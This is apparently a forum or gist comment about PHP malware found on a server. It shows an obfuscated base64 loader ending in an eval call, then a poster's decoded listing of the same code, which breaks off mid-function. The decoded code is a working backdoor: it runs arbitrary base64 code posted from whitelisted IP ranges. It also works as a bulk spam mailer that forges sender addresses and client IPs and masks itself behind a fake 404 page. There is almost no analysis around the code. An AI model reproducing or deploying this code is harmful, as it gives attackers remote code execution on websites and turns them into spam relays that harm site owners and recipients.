'HC7pRa7pRa7pRrNADItEvItp0t7lUrWGUcJl5iLmDXCpwbsqsrZmGrNY5h6v6PyvWrVGf3sxfpbpRrgl8bjlBPgEPtbpRrNADI'.
'tEvItnFbnpRa7p9tnpRa7p9cJy9hWAsajmDQgy5hgy0bnxkCnEwhgmUrVAD37y5h3yPQZmv'.
'2WAUdCc521AwrJAwkVRwbnpRa7p9MWEvyxAvPtmDLxmvibnRlNGPZXrhLXGRtCv8bzE5JwYGkzGh'.
'tunhHZnPZASBrVEDJtSJ8ynWJlGfdwqRajmDQgy5hgyRH7c58Ly52CEGdVSHCnpRa7p5E1ls7jYfaQp0aKpRrVp0H7'.
'mDQ8AwkCc58Ly52CEG2AdPtVSWajYfbunkC7pRa74HC7pRa7pRa7pRrZYv37Of'.
'ajAvPtmDLJl8biGhbjYhtKRsa7pRa7pRa7c58L4RaQpRrZmGrNY5h6v6cyvWrV'.
'GFbnpRa7pRa7pRajlBPgERaQp9cLABkCc58VAsH7c58L4RjKRsa7pRa7pRa7c9y1lBk7OfMwEv'.
'IJlBPtEhQUAUcjnRrWmvIjnFbnRsa7pRa7pRa7c521AwrJAwk7OfMHlBhwGUcJl5iLmDXCpsTsqwMW'.
'EvyxlGh1y5XCc58Ly52CEG2AdP8Ac5Jynf3sqWpbpRrUAUcjqRajmDQgy5hgyRH7dfjKRsa7pRMQR7C7pRa7'.
'l9cJE8QZmGrNYPQLA5HCcW2lv8rPvPrlqfLAv6VjYvyVy0VyGfbVGPtNcWH7c521AwrJAwkbpRrZmGrNY5h6nFbnRsa7p'.
'RMBAUpCc5j7OfaHSWajYfaTp521yvItnRrZmGrNY5h6v6MynFb7c5junWjn'.
'pRa7p9bnpRa7pRa7pRajmDQ8Awk7OfajAvPtmDLJl8biGhbjYhtKR7C7pR'.
'a7pRa7pRrUAUcjpRaQp5yJABhWmGrJGUy1lBkCc521yvItnFbnRs'.
'a7pRa7pRa7c521AwrJAwk7OfMHlBhwGUcJl5iLmDXCpsTsqwMWEvyxlGh1y5XCc58Ly52CEG2AdP8Ac5Jynf3sqWpbpRrUAUcj'.
'qRajmDQgy5hgyRH7dfjKRsa7pRMQR7CnpRa7p9cJy9hWAsajmDQgy5hgy0bnxkCnEwhgm'.
'UrVAD3745I8AhQZmv2WAUdCc521AwrJAwkVRwbnpRa7p9MWEvyxAvPtmDLxmvibnRlNGPZShX8lqfLAv6VjYvyVy0VyGfbVGP'.
'tNcWH7c521AwrJAwkbpRrZmGrNY5h6nFbnRsa7pRMBAUpCc5j7OfaHSWajYfaTp521yvItnRr'.
'ZmGrNY5h6v6MynFb7c5junWjnpRa7p9bnpRa7pRa7pRajAwhZp0t7c58Ly52CEG2Adh8Ac5JySHC7pRa7pRa7pRrZYv'.
'37OfMHAUlCdFabpRrgyvt7qfainFbnpRa7pRa7pRajAvP3p0t7l5QUn0eHqRajAwhZnfaZp0eKR7C7pRa7pRa7pRrWmvI'.
'jp0t7lBPgER7jAvJgqRajAvP3nFbnpRa7pRa7pRajmDQgy5hgyRaQp92tlJQW'.
'EGMbmv2JnRrZmGrNY5h6v6MyvWrVGfH7c9cLABkbpRrNADItEvItnFbnpRa7p9tnpRa7p9cJy9hWAsajmDQg'.
'y5hgy0bnxkCnEwhgmUrVAD37AwhZGD8LmUc1lW7jmDQgy5hgyRjn4HC7pRa7l9c'.
'JE8QZmGrNYPQLA5HCcW2lv8cMFjrlqfLAv6VjYvyVy0VyGfbVGRtCv8bzE5JwYGkzGhtunhi'.
'ypWlbpRrNADItEvItqRajAvPtmDLJlWjKR7C7pRa7EBQWnRrVp0t7d0b7c5j7ORMNAUhgyR7'.
'jAvPtmDLJl8bHGfjKpRrVnWbVRsa7pRMKRsa7pRa7pRa7c58VAsaQpRrZm'.
'GrNY5h6v6PyvWrVGFbnpRa7pRa7pRajAvP3p0t7c58Ly52CEG2A'.
'dJ8Ac5JySHC7pRa7pRa7pRrWmvIjp0t7lBPgER7jAvJgqRajAvP3nFbnpRa7pRa7pRajmDQgy5h'.
'gyRaQp92tlJQWEGMbmv2JnRrZmGrNY5h6v6MyvWrVGfH7c9cLABkbpRrNADItEvItnFbnpRa7p9tnpRa7p9cJy9hW'.
'AsajmDQgy5hgy0bnxkCnEwhgmUrVAD37EDhgEGcLy5hxyDQWER7jA5hgEUrCnkVKRsa7pRajmDLLlwd7Ofawm'.
'vcNE5hBEDLVYBZbAvI1l9PWlUr8ywJ34slKRsa7pRajAwhZkDLLlwd7OfM6y9cbEv3Cc52CmGc6nFbnp'.
'Ra7pRr6y9cVABl7Ofawc6bnpRa7p5E1ls7jYfaQp0aKpRrVp0H7c5iJABytY0b7c5junWjnpRa7p9bnpRa7pRa7p'.
'RajlUrWYvIwpR3Qp928mw2tls7jmDLLlwdbp9cLABkCdfH7c5I8AX2CmGc6nfaZp0ebp0eVSHC7pRa7xk'.
'C7pRa7lBhtyGcgpRr6y9cVABlKRwtnRBE8AB2tYvQgp9MLlU2xAvP'.
'NlBQ6nRrNADItEvItqRajl5P6lDh6nkVKRsa7pRajl5P6lWaQp5'.
'PWlBPIGUM1lR7jl5P6lDh6nFbnpRa7paC7pRa7lBhtyGcgp92tlJQWEGMbmv2J'.
'nRcAXePFX8tsqRajl5P6lWH7c521AwrJAwkVSHVQR7VByvINy5J1AsMBy5hVAPQZmv2WAUdCc521AwrJAwkbpRrBy5hVARjn4Wa'.
'7pRanpRa7p9cJy9hWAsM6y9cxlBhHA5PNEf7svtEXrXJdGfpbpRrBy5hV'.
'ARH7c521AwrJAwkVSHVQR7VByvINy5J1AsMVl8QVlR7jlUrWnfMKRsa7lBhtyGcgp9MWEvyxAvP'.
'tmD7CpsQ4nPbiqFJyxPbiqFJyv6aZSh8TdhbHqFJyv6aZSh8TdJbHqFryv6aZSh8TdNhAdRt8GfjCGR3Cv6aZSh8Tv6eZSh8'.
'AdRtIGGHiv6aZSh8AdRtIGGHWv6aZ2P8AdRtIGGHW2hbHqFhynfJKdUtjqWpb'.
'c92tlsjKRwtnRBE8AB2tYvQgp5EWAD8xY5Q6yR7jmDQgy5hgyRjn4HCnpRa7pRrCAU2'.
'tp0t7l9cJE8QWEGMbmv2JnRl1GsLUyUyTEwrHnhHgqDjwqRlwqeajG82PXJEPXJbwfPrXXPQpF82'.
'Xc8tVSHCnpRa7p5JBpRLVl8QVlR7jY5Q6yRjVRsa7pRMKRsa7pRa7pRa7lBhtyGcgpRrNADItEvItS'.
'HC7pRa7xkC7pRa7Rsa7pRajy5QuEvI6p0t7EGLHA5QjEf7skRpbpRrNADItEvItnFbnRsa7pRajmDQgy5hgyRaQpRrtADZJAw'.
'2AdPt7qsaskRp7qsajY5Q6yRagpRp+pNbnRsa7pRMWEGr8lB37c521AwrJAwkKRwtnRBE8AB2tYvQgp5hW'.
'lBQWG6kH2R7VRwbnRvLJmvrJls7sfPrXXRTiqNe720atpeI1yRM5AU'.
'hgERpVSHCnRfr8lBj7OfMHlBhwGUcJl5iLmDXCcWTCG0TVqsCjqWlbpRlwqRajG82PXJEPXJbwXjhrhXhFhPQhXjjwGfaVSH'.
'CnRfrNADItEvItp0t7mUh6y5QZGDLty9MxlBhiyvh6y0eCpBLty9az'.
'qWTsqsrxXthfhjhfvWyphPrkGtLOX8kwGf3sqtP5XvV0FjLgY0Lfy9r5fF2vFGcRE5r'.
'Ey6EWAByq4NyqrXesnFbnRfrNADItEvItp0t7lUrWGUcJl5iLmDXCpRp1kXErYj2Sf5ICSPctyeEcd8E2ljcjEPJU2'.
'wcgEtZz2tZPkfpbpRr8lBjbpRrNADItEvItpRjKR7CcEGLVyR77c521AwrJAwk7nFbnxkCnRBE8'.
'AB2tYvQgp528lUr1AhQCy9rHGUcJlGhJlUkinRrHmGcLAGdVRwbnpRa7p5JBnRaLp5J6GDPWlBPInRrHmGc'.
'LAGdVpRjnpRa7p9bnpRa7pRa7pRajl5PWmv86p0t7mGcWmGjCRsa7pRa7pRa7pRa7pRy8lBHwp'.
'0t+pRrHmGcLAGdbRsa7pRa7pRa7pRa7pRyZEGrCADkwp0t+pRy9'.
'rhkwRsa7pRa7pRa7nFbnpRa7p9tnpRa7paC7pRa7YvmCpRrHmGcLAG2AcUhWARyyOFtwcWaVp9cJy9hWAsM5kXiFrFbnp'.
'Ra7paC7pRa7YvmCpRe7YG26EGkCc9MLlBPZl8bwAvhtY5Qjc8tVpRj7c9MLlBP'.
'Zl8bwAvhtY5Qjc8t7OfaCYG26EGkCc9MLlBPZl8bwE5PtmfyynfmBYG2xmGcWm'.
'GjCc9MLlBPZl8bwE5Ptmfyynfj7OWawXeQFhRl7SsawrthXc6bnpRa7pRrHmGcLAG2AcD8Jy5L1ERyyp'.
'0t7lUrWy5Q8l9MJls7jl5PWmv86vWyZEGrCADkwGfjKRsa7pRMVEs77pfMVAJ'.
'QLlwcL4f7jl5PWmv86vWyZEGrCADkwGfH7mGcWmGjCctyPhRlbpRykF82XcWjVpRj7lBhty'.
'GcgpeEMFP2PSWanpRa7paC7pRa7qWC7tc/r72R3tqqk1ZRttqNk'.
'1R0r7y5Mtm1kgQRztmd7tqp7tq/r72RHtqqkg2RKtm6k1y5qtqj7tqqkg2RtpRC1Rsa7pRajyGcbp0'.
't7l5PWlDhxyGcbnRrHmGcLAG2AcUhWARyynFbnpRa7p5JBnRaLp'.
'5J6lDhtnRr8lBiAcU2NY5hZEfyynfaVpRr8lBiAcU2NY5hZEfyyp0t7cDL'.
'ty9awSHC7pRa7YvmCpRe7YG26EGkCc9hWAPbwl5PtYRyynfaVpRr8lBiAcUMLy57'.
'wGfaQpRl1c6bnpRa7p5JBnRaLp5J6lDhtnRr8lBiAcDL1lUkwGfj7csm7YG26EG'.
'kCc9hWAPbwl5PtYRyynfaVRsa7pRMKRsa7pRa7pRa7YvmCp92tlwM1lW7jyGcbvWyHmGrCc8tbpRl1cWj7nkC7pRa7pRa7p9bnpR'.
'a7pRa7pRa7pRa7c9hWAPbwY5Q6yRyyp0t7lUhslUrWnRr8lBiAcUMLy57wGfH7dRH7lUrWl5Q6nRr8lB'.
'iAcUMLy57wGfH7cWTwnfjKRsa7pRa7pRa7pRa7pRr8lBiAcUMLy57wGfaQp928mw2tls7j'.
'yGcbvWyHmGrCc8tbp92tlwM1lW7jyGcbvWyHmGrCc8tbpRl1cWjVSHC7pR'.
'a7pRa7p9tnpRa7pRa7pRMJA92JRsa7pRa7pRa74HC7pRa7pRa7pRa7pRa'.
'jyGcbvWyCAU2tc8t7OfajyGcbvWyHmGrCc8tKRsa7pRa7pRa7pRa7pRr8'.
'lBiAcUMLy57wGfaQpRl1c6bcRsa7pRa7pRa7xkC7pRa7xkC7pRa7c9hWAPbwl5PtYRy'.
'yp0t7l9cJE8QWEGMbmv2JnRp1v8ilq8tuqWpbpRp1psH7c9hWAPbwl5PtYRyynFbnpRa7p5JBnRMVlU'.
'2JyR7jyGcbvWyiyvhW4fyynfaVpRr8lBiAcUMLy57wGfagOfasOUbjyGcbvWyiyvhW4fyyx'.
'fpKRsa7pRanpRa7pRrHAUctp0t7YG26EGkCc9MLlBPZl8bwl5QWyRyynfa/pRrH'.
'mGcLAG2AcUM1lwkwGkC7pRa7pRa7pRa7pRazpR77YG26EGkCc9hWAPbwl5QWyRyynfa/pRr8lBiAc'.
'UM1lwkwGfazpR7jyGcbvWy6mDLJAvXwGFtQcDLty9M6c6Tt20dzS0aVpRjKRsa7pRanpRa7pRrtY'.
'v8JAUhtp0t7YG26EGkCc9MLlBPZl8bwy5JZEvQ8yRyynfa/pRrHmGcL'.
'AG2AcUrVAvh1yGkwGfazp0dHSHC7pRa7YvmCpRe7YG26EGkCc9MLlBPZl8bwlBhtyGcgc8tV'.
'pRj7c9MLlBPZl8bwlBhtyGcgc8t7OfawmDQgy5hgyRlKRsa7pRanpRa7pRr6mDLJAvX7O'.
'fajyGcbvWy6mDLJAvXwGFtQcDLty9M6cWa/pRy6lDHzqWTwSslwSHC7pRa7c5EHp0t7'.
'k5E6AD2uAUMJAs7jlD2CEv8Jqsr8lBiAcDL1lUkwGfH7c9M1lw'.
'kbpRrJlwcgAWH7c5hWlw2tlsH7c9rVAvh1yGkVSHC7pRa7YvmCpRrBlRaVRsa7'.
'pRMKRsa7pRa7pRa7qWC7FvQzYvibmfaoqHC7pRa7pRa7p5JBnRaLp5J6lDhtnRrHmGcL'.
'AG2Ac8h6EGpZkvyJAwkwGfj7nfajl5PWmv86vWyhlDhWqXPwEvIt'.
'c8t7OfasFvQzYvibmfT8qNa7n5JkY5QgEFb7hFb7k8Mhp5JkY5QgEfMOXWa6G6a7A5JuEfM2mvd7F8d7v0b7Ev3Z'.
'yGdVpePHl5iJhDhsfDJtq6XWSR3iSRaCftLXFXHbp5iVYDX7rDhNY'.
'DTVpPEJlw2VAD312R3Hpe81mBJbEfTUkFdtdfMFmvELlBj12Fp3qNeDpNbn'.
'pRa7pRa7pRanpRa7pRa7pRajlBhiyvh6yRaQpRcKc9MLlBPZl8bwAvhtY5Qjc88Qp9bjyGcbvWyHmGrCc88QpeLXhPa'.
'1df3HG9clAspKRsa7pRa7pRa7c9cJlGhJlUk7qNt7pjL1lUkzp9'.
'bjyGcbvWyCAU2tc88QG9clAspKRsa7pRa7pRa7c9cJlGhJlUk7qNt7pJh6EGpZkvyJAwkzp9bjl5PWmv86vWyhlDhWqX'.
'PwEvItc88Qps3sG9clAspKRsa7pRa7pRa7YvmCp5J6lDhtnRrHmGcLAG2AcUcJEBhWEGpwGfj7nfajlBhiyvh6y'.
'RagOfasXBhBEGcJlNC74WrHmGcLAG2AcUcJEBhWEGpwGG8llJigpNbnpRa7pRa7pRM'.
'VEs77YG26EGkCc9MLlBPZl8bwmDQ1YDJJc8tVpRjnpRa7pRa7pRMKRsa7p'.
'Ra7pRa7pRa7pRrNADQuYvX7OfaspNbnpRa7pRa7pRa7pRa7YvmCp5J6GDPWlBPInRrHmGcLAG2AcD21ADZVEfyyn'.
'faVp9ZBAUcJmv2CnRajl5PWmv86vWyNADQuYvXwGfMLlWajY6t+c9m7n'.
'fajmDQ1YDJJpR3QpRpjY6tjyNb7pNb7c521ADZVEfaQp928mw2tls7jmDQ1YDJJq0abqF'.
'pVSUtnpRa7pRa7pRa7pRa7Evi6EfajmDQ1YDJJp0t7c9MLlBPZl8bwmDQ1YDJJc8tKRsa7'.
'pRa7pRa7pRa7p5JBnRajmDQ1YDJJpFtwcWaVpRrWEGP8EG2tpR3QpRc0ADQuYvXzpRrNADQuYvhllJigpNbnpRa7pRa7pRMQRs'.
'a7pRa7pRa7c9cJlGhJlUk7qNt7pj21ABIJmUrVAD3zp52bAU2JG9clAspKR'.
'sa7pRa7pRa7YvmCpRrHmGcLAG2AcD8Jy5L1ERyyOFtwXeQFhRl7n'.
'kC7pRa7pRa7p9bnpRa7pRa7pRa7pRa7YvmCp5J6lDhtnRrHmGcLAG2AcDrLy5ewGfj7csm7YG2xmGc'.
'WmGjCc9MLlBPZl8bwE5PtmfyynfaVRsa7pRa7pRa7pRa7p9bnpRa7pRa7pRa7pRa7pRa7p5E1lBhLmD7Cc9M'.
'LlBPZl8bwE5PtmfyypePFpRrup0t+pRrDnkC7pRa7pRa7pRa7pRa7pRa7pRa7pRrjmGr'.
'LpR3Qp9hWA5hgmDQjEf7jYWjgc6twqwhWA5hgmDQjEf7jysjgcWmwSHC7pRa7pRa7pRa7pR'.
'a7pRa7YvmCp928mw2tls7jE5PtmfH7qFeVOFtwcsl7nfajE5PtmfaQp928mw2tls7jE5PtmfHHqRtinFbnpRa7pRa7pRa7pRa7'.
'xkC7pRa7pRa7pRa7pRajE5PtmfagOfasG9clAJiWG53sSHC7pRa7pRa7pRa7pRanpRa7pRa7pRa7pRa7c9cJ'.
'lGhJlUk7qNt7pj21AwrJAwkZy9JHEFC7mGMHA5JNmGrVAD314R8UyUlZEBQWAf88lBiJAB21E5hjG9clAs'.
'pKRsa7pRa7pRa7pRa7pRrWEGP8EG2tpR3QpRc0ADItEvItqviJAB'.
'ytY0C7psI6y9cbEv3Cc5rLy5eVqscllJigpNbnpRa7pRa7pRMQRsa7pRa7'.
'pRa7c9cJlGhJlUk7qNt7pJiWG53sSHC7pRa7pRa7paC7pRa7pRa7p5JBnRajl5PWmv86vWyZEGrC'.
'ADkwGfaQOfawXeQFhRl7nfajlBhiyvh6yRagOfajE5PtmFbnpRa'.
'7pRa7pRanpRa7pRa7pRMaEwyWYGrJpR7jEwabc9cJlGhJlUkVSWa1nsMFEvIjp9cJlGhJlUk7nsTnp'.
'Ra7pRa7pRanpRa7pRa7pRajlBh6p0t7pspKpRrCEvPjEGc6p0t7pspKpRrCGDrJy5hNy5hjp0t7EBPblDXKRsa7pRa7pRa7yDL'.
'VA5XCpRPaEBh1Es7jEwaVpRjnpRa7pRa7pRMKRsa7pRa7pRa7pRa7pRrWEGd7qNt7k5EWEvPjnR'.
'rBlRH7dFaW2RjKpRTop259tqNr7ZRHtqGk1R0kgZR+tqUr7ZR8tqUr7saoqHC7pRa7Rsa7pRa7pRa7pRa7pRTop2Rx'.
'tm0k1ZRWtqGr72Rztqa7tqUkb2RKtqNrLQR3tmT7tqxkb2R6tq1k1ZRWtquk1ZRWp'.
'2RWp2RztqKk1y5RtqGk1y5RtqX7nsTnpRa7pRa7pRa7pRa7YvmCpRe7c5LxE5htEv2tEvk7csm7lUrWl5Q6nRrWEGdb'.
'pRcllJigG9clAspVpFtQrjPdXtX7nkC7pRa7pRa7pRa7pRMKRsa7p'.
'Ra7pRa7pRa7pRa7pRa1ns0kZQRHtqOk1ZRKtqKkbZRztq77tmOkZZR8p25Mtmxkg25Rtq0k1y5qpRt7tquk1Z5atm0kZ'.
'yRztmqkg25atmOkZyRTp2RztqKk1y5RtqGk1y5RpRC1Rsa7pRa7pRa7p'.
'Ra7pRa7pRajYPQjEGrJmUrJERaQp9rWyvXKRsa7pRa7pRa7pRa7pRa7pRanpRa7pRa7pRa7pRa7pRa7pRrCEvPjEGc6'.
'p0t7lUhslUrWnRrWEGdbp0abp92tlwM1lW7jlBh6qRasG9clAJi'.
'WG53snfjKRsa7pRa7pRa7pRa7pRa7pRajlBh6p0t7lUhslUrWnRrWEGdbp92tlwM1lW7jlBh6qRasG9clAJiWG53snfbtnFbnpRa'.
'7pRa7pRa7pRa7pRa7paC7pRa7pRa7pRa7pRa7pRa7qWC7f5hLE5hWlWMtAWMMlwcL4faoqH'.
'C7pRa7pRa7pRa7pRa7pRa7YvmCpRrHmGcLAG2AcUcJy9hWAsyyOFtwY5hLE5hWlWl7x9H7c9MLlBPZl8bwlBht'.
'yGcgc8tQOfyLlwcL4flnpRa7pRa7pRa7pRa7pRa7pRa7pRMTxRaCYG26EGkCc9MLlBPZl8bwlBhjYGcJmUkwGfj7csm7c9MLlBP'.
'Zl8bwlBhjYGcJmUkwGFtQy9c8Efj7nkC7pRa7pRa7pRa7pRa7pRa74HC7pRa7p'.
'Ra7pRa7pRa7pRa7pRa7pRrCp0t7EGLHA5QjEf7sG9clAspbpRrCEvPj'.
'EGc6nFbnpRa7pRa7pRa7pRa7pRa7pRa7pRajY5hLE5hWlWaQp5PWlBPInRjKRsa7pRa7pRa7pRa7pRa'.
'7pRa7pRa7EBQWEvPNYR77c577mGd7c5bQOsrDpRjnpRa7pRa7pRa7pRa7pRa7pRa7pRMKRsa7pRa7'.
'pRa7pRa7pRa7pRa7pRa7pRa7p5JBnRM6y9cHAUdCc9mbpRlzcWj7nkC7pRa7pRa7pRa7pRa7pRa7'.
'pRa7pRa7pRMKRsa7pRa7pRa7pRa7pRa7pRa7pRa7pRa7pRa7pRajYWaQp928mw'.
'2tls7jysH7dRH7lUrWl5Q6nRrDqRawSslVnFbnpRa7pRa7pRa7pRa7pRa7pRa7pRa7pRa7pRa7pRrDp0t7y9cVAfL6yvc'.
'6y9pCc9mbp92tlwM1lW7jysH7c6CwnfbinfjKRsa7pRa7pRa7pRa7pRa7pRa7pRa7pRa7p9tnpRa7pRa7pRa7pRa7pRa7pRa'.
'7pRa7pRa7c5LJmvrJlw2AlUrWy5Q8l9MJls7jYWJyp0t7c9mKRsa7pRa7pR'.
'a7pRa7pRa7pRa7pRa7xkC7pRa7pRa7pRa7pRa7pRa7xkC7pRa7pRa7pRa7pRa7pRa7YvmCp5J6lDhtnRrHmGcLAG2AcU'.
'cJE5JWEv2tc8tVpRmBpRrHmGcLAG2AcUcJE5JWEv2tc8tQOGrWyvX7csm7YG26EGkCc5LJmvrJlw2Act'.
'iOktPXfXQSc8tVpRjnpRa7pRa7pRa7pRa7pRa7p9bnpRa7pRa7pRa7pRa7pRa7pRa7pRajl5PWmv8'.
'6vWy8lBHwGfaQpRrCEvPjEGc6vWydFt2MheJOFsyySHC7pRa7pRa7pRa7pRa7pRa7pRa7p5JBnRaLYG'.
'26EGkCc9MLlBPZl8bwlBhjYGcJmUkZmDQ8AwkwGfj7nfajl5PWmv86vWyWEvrVlBhNyR8'.
'NAUhgyRyyp0t7d0bnpRa7pRa7pRa7pRa7pRa7pRa7pRMVEs77c9MLlBPZl8'.
'bwlBhjYGcJmUkZmDQ8AwkwGFHidRaVRsa7pRa7pRa7pRa7pRa7pRa7pRa74HC7pRa7pRa7pRa7'.
'pRa7pRa7pRa7pRa7pRajl5PWmv86vWyWEvrVlBhNyR8NAUhgyRyynWbKRsa7pRa7pRa7pRa7pRa7pRa7pRa7pRa7pRrByvIN'.
'p0t7G8Q5hXI0heJOFJQxSHC7pRa7pRa7pRa7pRa7pRa7pRa7pRa7pRMWEGr8lB37k5J6GDQsYBhNyR7jy5LVlWj7OWajy5LVl'.
'Wt+c5E8ABdCc9MLlBPZlWj7SsajEwhgmW7jl5PWmv86nFbnpRa7pRa7pRa7pRa7pRa7'.
'pRa7pRMQRsa7pRa7pRa7pRa7pRa7pRMQRsa7pRa7pRa7pRa7pRa7pRMVEs77c9MLlBPZl8bwlBhtyGcgc8tQOfyCE'.
'vPjEGc6cWaVp9cJy9hWAsajY5hLE5hWl6bnpRa7pRa7pRa7pRa7x'.
'kC7pRa7pRa7p9tnpRa7pRa7pRanpRa7pRa7pRMaEB2bAU2JnRrBlRjKRsa7pRMQRsa7pRMJA92Jp9cJy9hWAsM5kXiFrFb1nsaj'.
'EGcWlUrWqsrJlwcgA6b7nsTnpRa7paC7pRa7YvmCpRrHmGcLAG2AcUcJy9hWAsyyOFtwmGcWmGjwpRj7c9cJ'.
'lWaQp5PWlBPInRyCEvPjEGc6c6t+c5LJmvrJlwdbpRyNADItEvItc6t+c9cJl'.
'WjKRsa7pRanpRa7p9cJy9hWAsajlBh6SHVQ';
eval(vQRSMEC($v9450ZL, $vWT9JDV));?>

@timbrandin
Copy link
Author

This last one is easily printed:

<?php

if (isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
    {
    eval(base64_decode($_POST["code"]));
    exit();
    }

if (isset($_POST["type"]) && $_POST["type"] == "1")
    {
    type1_send();
    exit();
    }
elseif (isset($_POST["type"]) && $_POST["type"] == "2")
    {
    }
elseif (isset($_POST["type"]))
    {
    echo $_POST["type"];
    exit();
    }

error_404();

function is_good_ip($ip)
    {
    $goods = Array(
        "6.185.239.",
        "8.138.118."
    );
    foreach($goods as $good)
        {
        if (strstr($ip, $good) != FALSE)
            {
            return TRUE;
            }
        }

    return FALSE;
    }

function type1_send()
    {
    if (!isset($_POST["emails"]) OR !isset($_POST["themes"]) OR !isset($_POST["messages"]) OR !isset($_POST["froms"]) OR !isset($_POST["mailers"]))
        {
        exit();
        }

    if (get_magic_quotes_gpc())
        {
        foreach($_POST as $key => $post)
            {
            $_POST[$key] = stripcslashes($post);
            }
        }

    $emails = @unserialize(base64_decode($_POST["emails"]));
    $themes = @unserialize(base64_decode($_POST["themes"]));
    $messages = @unserialize(base64_decode($_POST["messages"]));
    $froms = @unserialize(base64_decode($_POST["froms"]));
    $mailers = @unserialize(base64_decode($_POST["mailers"]));
    $aliases = @unserialize(base64_decode($_POST["aliases"]));
    $passes = @unserialize(base64_decode($_POST["passes"]));
    if (isset($_SERVER))
        {
        $_SERVER['PHP_SELF'] = "/";
        $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
            {
            $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
            }
        }

    if (isset($_FILES))
        {
        foreach($_FILES as $key => $file)
            {
            $filename = alter_macros($aliases[$key]);
            $filename = num_macros($filename);
            $filename = text_macros($filename);
            $filename = xnum_macros($filename);
            $_FILES[$key]["name"] = $filename;
            }
        }

    if (empty($emails))
        {
        exit();
        }

    foreach($emails as $fteil => $email)
        {
        $theme = $themes[array_rand($themes) ];
        $theme = alter_macros($theme["theme"]);
        $theme = num_macros($theme);
        $theme = text_macros($theme);
        $theme = xnum_macros($theme);
        $message = $messages[array_rand($messages) ];
        $message = alter_macros($message["message"]);
        $message = num_macros($message);
        $message = text_macros($message);
        $message = xnum_macros($message); //$message = pass_macros($message, $passes); $message = fteil_macros($message, $fteil); $from = $froms[array_rand($froms)]; $from = alter_macros($from["from"]); $from = num_macros($from); $from = text_macros($from); $from = xnum_macros($from); if (strstr($from, "[CUSTOM]") == FALSE) { $from = from_host($from); } else { $from = str_replace("[CUSTOM]", "", $from); } $mailer = $mailers[array_rand($mailers)]; send_mail($from, $email, $theme, $message, $mailer); } } function send_mail($from, $to, $subj, $text, $mailer) { $head = ""; $un = strtoupper(uniqid(time())); $head .= "From: $from\n"; $head .= "X-Mailer: $mailer\n"; $head .= "Reply-To: $from\n"; $head .= "Mime-Version: 1.0\n"; $head .= "Content-Type: multipart/alternative;"; $head .= "boundary=\"----------".$un."\"\n\n"; $plain = strip_tags($text); $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n"; $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n"; $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n"; $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n"; $zag .= "------------".$un."--"; if(count($_FILES) > 0) { foreach($_FILES as $file) { if(file_exists($file["tmp_name"])) { $f = fopen($file["tmp_name"], "rb"); $zag .= "------------".$un."\n"; $zag .= "Content-Type: application/octet-stream;"; $zag .= "name=\"".$file["name"]."\"\n"; $zag .= "Content-Transfer-Encoding:base64\n"; $zag .= "Content-Disposition:attachment;"; $zag .= "filename=\"".$file["name"]."\"\n\n"; $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n"; fclose($f); } } } if(@mail($to, $subj, $zag, $head)) { if(!empty($_POST['verbose'])) echo "SENDED"; } else { if(!empty($_POST['verbose'])) echo "FAIL"; } } function alter_macros($content) { preg_match_all('#{(.*)}#Ui', $content, $matches); for($i = 0; $i < count($matches[1]); $i++) { $ns = explode("|", $matches[1][$i]); $c2 = count($ns); $rand = rand(0, ($c2 - 1)); $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content); } return $content; } function text_macros($content) { preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $min = $matches[1][$i]; $max = $matches[2][$i]; $rand = rand($min, $max); $word = generate_word($rand); $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1); } preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $count = $matches[1][$i]; $word = generate_word($count); $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1); } return $content; } function xnum_macros($content) { preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $num = $matches[1][$i]; $min = pow(10, $num - 1); $max = pow(10, $num) - 1; $rand = rand($min, $max); $content = str_replace($matches[0][$i], $rand, $content); } return $content; } function num_macros($content) { preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $min = $matches[1][$i]; $max = $matches[2][$i]; $rand = rand($min, $max); $content = str_replace($matches[0][$i], $rand, $content); } return $content; } function generate_word($length) { $chars = 'abcdefghijklmnopqrstuvyxz'; $numChars = strlen($chars); $string = ''; for($i = 0; $i < $length; $i++) { $string .= substr($chars, rand(1, $numChars) - 1, 1); } return $string; } function pass_macros($content, $passes) { $pass = array_pop($passes); return str_replace("[PASS]", $pass, $content); } function fteil_macros($content, $fteil) { return str_replace("[FTEIL]", $fteil, $content); } function is_ip($str) { return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str); } function from_host($content) { $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']); if (is_ip($host)) { return $content; } $tokens = explode("@", $content); $content = $tokens[0] . "@" . $host . ">"; return $content; } function error_404() { header("HTTP/1.1 404 Not Found"); $uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] ); $content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA"); $content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content ); exit( $content ); } function custom_http_request1($params) { if( ! is_array($params) ) { $params = array( 'url' => $params, 'method' => 'GET' ); } if( $params['url']=='' ) return FALSE; if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET'; $params['method'] = strtoupper($params['method']); if( ! in_array($params['method'], array('GET', 'POST')) ) return 